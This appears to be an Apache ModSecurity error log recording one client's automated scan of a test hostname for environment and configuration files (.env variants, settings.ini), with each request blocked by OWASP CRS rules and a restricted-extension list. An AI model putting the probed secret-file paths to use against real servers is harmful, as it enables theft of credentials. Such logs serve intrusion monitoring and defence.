[Wed Feb 25 06:04:33.397162 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19VQAAAAE&quot;]
[Wed Feb 25 06:04:33.447640 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19VgAAAAE&quot;]
[Wed Feb 25 06:04:33.448054 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19VgAAAAE&quot;]
[Wed Feb 25 06:04:33.448325 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19VgAAAAE&quot;]
[Wed Feb 25 06:04:33.459409 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWtwAAAAQ&quot;]
[Wed Feb 25 06:04:33.459970 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWtwAAAAQ&quot;]
[Wed Feb 25 06:04:33.460155 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWtwAAAAQ&quot;]
[Wed Feb 25 06:04:33.514033 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19VwAAAAE&quot;]
[Wed Feb 25 06:04:33.514324 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19VwAAAAE&quot;]
[Wed Feb 25 06:04:33.514556 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19VwAAAAE&quot;]
[Wed Feb 25 06:04:33.588093 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWuAAAAAQ&quot;]
[Wed Feb 25 06:04:33.588403 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWuAAAAAQ&quot;]
[Wed Feb 25 06:04:33.588624 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWuAAAAAQ&quot;]
[Wed Feb 25 06:04:33.629534 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWuQAAAAQ&quot;]
[Wed Feb 25 06:04:33.629828 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWuQAAAAQ&quot;]
[Wed Feb 25 06:04:33.630038 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWuQAAAAQ&quot;]
[Wed Feb 25 06:04:33.716533 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19WAAAAAE&quot;]
[Wed Feb 25 06:04:33.716831 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19WAAAAAE&quot;]
[Wed Feb 25 06:04:33.717047 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19WAAAAAE&quot;]
[Wed Feb 25 06:04:33.734244 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWugAAAAQ&quot;]
[Wed Feb 25 06:04:33.734570 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWugAAAAQ&quot;]
[Wed Feb 25 06:04:33.734766 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWugAAAAQ&quot;]
[Wed Feb 25 06:04:33.743109 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19WQAAAAE&quot;]
[Wed Feb 25 06:04:33.743390 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19WQAAAAE&quot;]
[Wed Feb 25 06:04:33.743575 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19WQAAAAE&quot;]
[Wed Feb 25 06:04:33.803108 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWuwAAAAQ&quot;]
[Wed Feb 25 06:04:33.803464 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWuwAAAAQ&quot;]
[Wed Feb 25 06:04:33.803727 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWuwAAAAQ&quot;]
[Wed Feb 25 06:04:33.805582 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.live&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19WgAAAAE&quot;]
[Wed Feb 25 06:04:33.805829 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19WgAAAAE&quot;]
[Wed Feb 25 06:04:33.805996 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19WgAAAAE&quot;]
[Wed Feb 25 06:04:33.926519 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWvAAAAAQ&quot;]
